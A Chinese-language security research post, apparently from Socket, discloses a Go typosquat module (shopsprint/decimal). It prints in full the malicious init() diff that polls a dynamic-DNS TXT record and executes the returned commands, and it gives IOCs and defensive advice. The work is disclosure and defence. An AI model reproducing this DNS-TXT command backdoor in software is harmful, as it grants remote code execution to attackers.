热门 Go Decimal 库遭遇长期误植攻击...

重大消息:Socket 完成 1B 估值 6000 万美元 C 轮融资,为 AI 驱动开发保驾护航软件供应链。公告 →

Socket 威胁研究团队发现了一个恶意 Go 模块,发布为 github.com/shopsprint/decimal,这是一个广泛使用的 github.com/shopspring/decimal 任意精度算术库的 typosquat(拼写错误伪装)攻击。 typosquat 模块自 2017-11-08 起存在于 Go 生态系统中,并于 2023-08-19 被武器化,当时 v1.3.3 版本添加了一个恶意 init() 函数,该函数打开了一条 DNS TXT 记录命令与控制通道,连接到威胁行为者控制的免费动态 DNS 提供商子域名。GitHub 仓库和 shopsprint 所有者账户已被删除,但恶意发布版本继续由 proxy.golang.org 永久提供服务,并列在 pkg.go.dev 上。

Socket 的 AI 扫描器将 github.com/shopsprint/decimal 标记为已知恶意软件,并捕获了 DNS TXT 后门。

威胁快速解析:

  • github.com/shopspring/decimal 的 typosquat,将末尾的 g 替换为 tshopspringshopsprint
  • 2017 至 2023 年间共八个带标签版本,前七个无恶意,v1.3.3 被武器化
  • 于 2023-08-19 发布的 v1.3.3 版本包含一个 init() 函数,在进程启动时即运行,无需选择加入
  • 每五分钟向 dnslog-cdn-images[.]freemyip[.]com 发送 DNS TXT 记录 C2 信标
  • 每个返回的 TXT 值直接传递给 os/exec.Command 并执行
  • GitHub 源代码仓库已删除、所有者账户已删除,但 Go 模块代理缓存继续按需向任何获取模块路径的开发者提供恶意版本

shopspring/decimal 包

github.com/shopspring/decimal 是一个 Go 任意精度定点小数库,因 Go 原生的 float64 无法表示货币值而不产生舍入误差,所以在金融、计费、加密货币和分析代码库中被广泛依赖。公开采用信号对 typosquat 的限制有限,但合法的 github.com/shopspring/decimal 模块在 pkg.go.dev 上有 38,634 个已知导入者,使其成为单字符 typosquat 的高价值目标。合法包没有网络代码、没有进程执行代码,也没有 init() 函数。其导入仅限于 database/sql/driverencoding/binaryfmtmathmath/bigregexpstrconvstrings

typosquat 模块 github.com/shopsprint/decimal 保留了 shopspring/decimal 的全部公共 API 和源代码体。任何通过 go.mod 中的单字母拼写错误、import 语句、go get 调用或自动补全建议获取 typosquat 路径的项目将继续编译、通过测试,并且在算术运算方面表现正确。恶意行为在单独的 goroutine 中运行,从不触及小数算术代码路径,也从不产生用户可见的输出。

并排显示的 pkg.go.dev 列表显示了 typosquat(左)github.com/shopsprint/decimal 与合法版本(右)github.com/shopspring/decimal。两个仓库路径在供应商名称末尾相差一个字符。

发布时间线和信任-然后投毒模式

shopsprint/decimal 模块在六年内发布了八个带标签版本:

  • v1.0.0 发布于 2017-11-08,仅源代码镜像
  • v1.0.1 发布于 2018-03-01,仅源代码镜像
  • v1.1.0 发布于 2018-07-09,仅源代码镜像
  • v1.2.0 发布于 2020-04-28,仅源代码镜像
  • v1.3.0 发布于 2021-10-13,仅源代码镜像
  • v1.3.1 发布于 2021-10-20,仅源代码镜像
  • v1.3.2 发布于 2023-08-19 09:20:28 UTC,包含从上游镜像的合法 bug 修复
  • v1.3.3 发布于 2023-08-19 09:27:21 UTC,​引入恶意 init() 函数

前七个版本是无恶意的 typosquat 副本,复制自上游 shopspring/decimal 树在匹配版本。其发布节奏与上游标签日期同步,赋予包维护分支的外观而非明显的分阶段供应链攻击。实际上,该包似乎是一个长期运行的 typosquat,在被武器化之前保持良性多年。

两个恶意窗口发布版本相隔七分钟,在同一天。v1.3.2 仅携带两个合法、低影响的 bug 修复(一个单字符注释拼写纠正和 Decimal.Mod 中的算术精度修复),威胁行为者从上游提交中复制。v1.3.3 保留这两个修复并添加有效载荷。这是之前 Go 模块供应链活动中观察到的信任-然后投毒模式。发送一个良性版本以建立近期活动,然后在几分钟内紧随恶意版本,确保在前一天查看过该包并在投毒当天重新检查的任何开发者看到的是最近的、看似合法的提交以及恶意提交。

综合效果是大约六年的良性 typosquat 存在,随后在开放 Go 模块生态系统中约三十三个月的武器化存在,然后才披露。

后门如何在导入时触发

三个更改在 v1.3.2 和 v1.3.3 之间的 decimal.go 中进行拼接:一个扩展的导入列表、一个恶意的 init() 函数,以及在 main() 包内声明的一个多余的 decimal

v1.3.2 和 v1.3.3 之间 decimal.go(来自 Go 模块代理 zip 工件)的统一 diff 是完整有效载荷:

text
--- decimal.go (v1.3.2) +++ decimal.go (v1.3.3) @@ -25,6 +25,9 @@ "regexp" "strconv" "strings" + "net" + "os/exec" + "time" ) @@ -505,6 +508,25 @@ } } +func init(){ + go func(){ + + for { + records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com") + if err != nil { + time.Sleep(5 * time.Minute) + continue + } + for _, txt := range records { + cmd := exec.Command(txt) + cmd.CombinedOutput() + } + time.Sleep(5 * time.Minute) + } + + }() +} + // Neg returns -d. @@ -1902,3 +1924,6 @@ } return y } +func main(){ + +}

关于此 diff 中有效载荷的三个观察。

  1. 添加了导入。​ 特洛伊化的文件向导入块添加了 netos/exectime。在上游 shopspring/decimal 源代码的任何标记版本中都不存在这些导入。小数算术库没有文件记录的理由执行 DNS 解析或进程执行,因此与上游的并排导入 diff 本身就是一个高精度检测启发式方法。
  2. init() 在后台 goroutine 中运行 C2 循环。​ Go 的包初始化模型保证包中的每个 init()main() 之前运行,并且在包的任何导出的函数可调用之前运行,因此在项目的依赖图中的任何位置导入 typosquat 模块都足以启动循环。goroutine 在进程生命周期内持续存在,每五分钟轮询 net.LookupTXT("dnslog-cdn-images.freemyip.com"),并在 DNS 失败时不记录日志或发出错误信号的情况下休眠。
  3. TXT 记录驱动任意命令执行。​ C2 子域名返回的每个 TXT 值直接传递给 exec.Command(txt) 并通过 CombinedOutput() 运行。输出被捕获并丢弃,不解释任何 shell 元字符,因此每个 TXT 必须解析为已在受害者系统上存在的单个可执行文件,或者通过另一个向量早些时候暂存的。DNS TXT 是一个隐蔽通道而非传输协议:TXT 查询对大多数出口控制看起来像正常 DNS 活动,包括阻止出站 HTTP 的环境。威胁行为者通过其 DDNS 账户更改 TXT 值,受害者在下一个五分钟周期获取新命令。

附加的 func main(){} 是异常且非功能性的。main 函数仅在其文件声明 package main 时才被视为程序入口点;该文件声明 package decimal,因此 func main(){} 是死代码,Go 编译器在任何正常构建配置下都不会调用。最好将其理解为威胁行为者留下的开发工件,可能从单文件 Go 临时草稿复制或在搭建可运行示例时由 AI 编码助手生成,然后从未清理。信号价值在于该文件显示出草率的作者身份而非精心构建的库代码,这与恶意来源一致。

命令与控制基础设施

有效载荷中的单一硬编码指示器是 dnslog-cdn-images[.]freemyip[.]com。VirusTotal 于 2024-08-07 首次分析该子域名,当前返回的 A 记录为 8.8.8.88.8.8.8 值是一个诱饵,将子域名指向 Google 公共 DNS,以便任何解析主机名的工具获得可路由地址,而操作者继续通过 TXT 记录专门驱动有效载荷。基础设施已暂存,但特洛伊化版本尚未在查询的公共观察表面上被沙箱或自动扫描器捕获。

父域名 freemyip[.]com 是一个免费动态 DNS 服务。该提供商本身是合法的。同一提供商托管大量滥用子域名:VirusTotal Intelligence 返回至少 40 个子域名freemyip[.]com,每个都有一个或多个恶意检测,包括冒充 PayPal、Sberbank 和 MetaMask 的钓鱼页面、DGA 标记主机集群,以及检测计数高达 AV 堆栈中 14 个的持久性 C2 节点。这些集群与当前特洛伊的 Go 供应链目标没有主题重叠,这与单独的操作者在已知被滥用但无限制的 DDNS 提供商上建立一个新鲜的、低噪音子域名一致。

VirusTotal Intelligence URL 列表显示 freemyip[.]com 下托管的滥用 URL 示例,包括冒充 PayPal、Sberbank 和 MetaMask 的钓鱼工具包、DGA 风格随机主机名,以及持久性 C2 或欺诈子域名。

值得注意的操作特征。选择免费 DDNS 使操作者能够完全控制,在几秒钟内交换 C2 记录值,无需注册商摩擦。父域名的声誉参差不齐(32 个未检测,60 个无害引擎裁决),这阻止了基于声誉的批量屏蔽。使用 TXT 记录而非 A 记录或 HTTPS 流量规避了最可能在开发人员机器上触发的控制措施,在这些环境中出站 HTTP 通常受到检查,但出站 DNS 很少受到审查。

Go 模块代理持久性

Go 模块代理位于 proxy.golang.org 继续按需提供模块的每个发布版本,包括恶意 v1.3.3,因为代理作为 Go 可重现性保证的一部分故意无限期缓存模块工件。列出版本返回所有八个标签。获取 v1.3.3 zip 返回与最初发布时相同的字节。在提现之前运行 go get github.com/shopsprint/decimal@v1.3.3 的开发者收到了没有警告的恶意代码。该包也列在 pkg.go.dev 上并通过标准 Go 工具解析。

这是 Socket 在 2025 年报告的 boltdb-go/bolt typosquat 滥用同样的持久性模型,源代码仓库被清除,但代理缓存使恶意发布版本在多年后仍可永久获取。

GitHub 源代码仓库位于 https://github.com/shopsprint/decimal 返回 HTTP 404。位于 https://github.com/shopsprint 的所有者账户返回 HTTP 404。仓库和所有者都已消失,可能由威胁行为者、GitHub 滥用响应或自动清理删除。这对通过标准 Go 工具的可访问性没有影响。

遵循 Socket 的协调披露后,Go 安全团队迅速将模块从 proxy.golang.org 撤下,现在对 github.com/shopsprint/decimal 的每个版本获取都返回 403 SECURITY ERROR,并关闭新的获取路径。

影响

每台导入 github.com/shopsprint/decimal 的 v1.3.3 并运行生成二进制文件的机器(包括 CI 运行器、开发人员工作站和生产主机)都会在进程生命周期内执行 init() goroutine。从那时起,操作者对机器拥有按需命令执行能力,仅受操作者愿意发布 TXT 记录的意愿限制。由于有效载荷以进程用户身份运行,爆炸半径与导入该包的任何二进制文件的权限相匹配。开发者运行的 CLI 继承开发者的凭据。容器化服务继承其挂载的密钥和服务账户。CI 作业继承其仓库令牌和部署凭据。

exec.Command(txt) 形式不调用 shell,因此每个 TXT 字符串必须是单个绝对路径或 PATH 解析的程序名称。这不是一个有意义的限制。操作者可以通过任何早期通道(先前执行的命令、构建时文件写入、单独的分段器包)投放暂存的第二阶段二进制文件,然后通过在 TXT 中发布其路径来触发它。操作者也可以将 TXT 指向系统上已存在的任何产生有用副作用的二进制文件,即使不带参数运行,包括本地权限提升工具、包管理器(安装后门包)或服务控制工具。

持久性在进程生命周期内自动生效,并在导入该模块的任何二进制文件的每次重启时重新附加。不需要文件系统持久性、注册表更改、计划任务或 LaunchAgent。持久性机制本身就是依赖项。

五分钟的信标和静默错误处理意味着导入项目可以运行数周,然后才传递任何操作者命令,进程输出中没有可观察的伪影,应用程序日志中没有条目,也没有失败 DNS 噪音足以引起注意。

武器化(2023-08-19)和披露之间三十三个月的驻留时间为在该窗口期间固定未验证版本的 shopsprint/decimal 的任何项目设置了可能的暴露上限。

建议

针对开发者

  • 在每个项目中审计 go.modgo.sum,查找导入路径 github.com/shopsprint/decimal。如果以任何版本存在,请移除依赖项,替换为规范的上游 github.com/shopspring/decimal,运行 go mod tidy,然后重新构建。
  • 在添加每个 Go 模块路径之前验证其是否解析到规范的上游仓库。单字母差异(shopsprintshopspring)是干净依赖项和长期后门之间的全部差异。
  • 审计依赖树中来自没有文档记录理由需要它们的库的 netos/exectime 导入。小数数学包、slugifier、UUID 生成器或日志库没有理由执行 DNS 解析或生成进程。
  • 如果您已经构建或运行了拉取 github.com/shopsprint/decimal@v1.3.3 的代码,请将构建主机视为已受感染。轮换该主机可访问的任何凭据(Git 令牌、云密钥、注册表凭据、SSH 密钥),检查出站 DNS 流量以查找列出的指示器,并从干净的工具链重新构建。

针对安全团队

  • dnslog-cdn-images[.]freemyip[.]com 添加到您的 DNS sinkhole 和 SIEM 关联规则中。无论答案内容如何,对任何解析该子域名的内部主机发出警报。来自构建代理或生产主机的单个 TXT 查询是高置信度指示器。
  • 建立来自开发人员和 CI 基础设施的 TXT 记录查询基准。来自构建主机到免费动态 DNS 提供商(freemyip[.]comduckdns[.]orgno-ip[.]comdynu[.]netddns[.]nethopto[.]orgzapto[.]org)的 TXT 查询在合法 Go 工具链中很少见,默认情况下值得视为可疑。
  • 阻止从构建和生产环境到 freemyip[.]com 区域的出口,除非您有明确的业务理由。该提供商是记录在案的滥用磁铁。
  • 扫描内部 Go 模块缓存($GOMODCACHE / $GOPATH/pkg/mod)以及源代码仓库中的任何 go.sum 文件,查找字符串 github.com/shopsprint/decimal。在 Go 安全团队提现之前获取的任何代码仍保留在模块缓存、vendored 树和构建的二进制文件中,因此依赖图扫描是已受感染供应链的持久控制。
  • 对于二进制审查,扫描编译的 Go 二进制文件以查找 shopspring/decimal 符号指纹、net.LookupTXT 符号、os/exec.Command 符号和任何动态 DNS 主机名的同时存在。该组合在合法 Go 二进制文件中很少见,对于此类供应链后门具有高精度。

Socket 在整个依赖图中检测此类威胁,包括初始化时供应链有效载荷、动态 DNS C2 和流行库的 typosquat 分支,在它们到达开发人员环境之前。Socket GitHub App 扫描拉取请求依赖变更并在合并前标记初始化时网络或进程执行。Socket CLI 在 CI 管道中强制执行允许和拒绝规则。Socket Firewall 在获取之前阻止已知恶意包。Socket 浏览器扩展 在浏览公共 Go 模块页面时显示风险信号。Socket MCP 防止 AI 辅助编码工作流将可疑依赖项引入代码库。

MITRE ATT&CK

  • T1195.002 - 损害软件供应链
  • T1071.004 - 应用层协议:DNS
  • T1059 - 命令和脚本解释器
  • T1583.001 - 获取基础设施:域名
  • T1572 - 协议隧道
  • T1568 - 动态解析

妥协指标(IOC)

恶意包

github.com/shopsprint/decimal(v1.3.3)

  • 恶意提交哈希:2f0ee073c6f29d66188a845592029c9b52528f04

文件

v1.3.3 模块 zip

  • SHA-256:dd9c0268c8944e6ddf90d4d0c81aa843785b7a9ee965faa635841ed9fc0ba086

decimal.go

网络指标

  • dnslog-cdn-images[.]freemyip[.]com
  • freemyip[.]com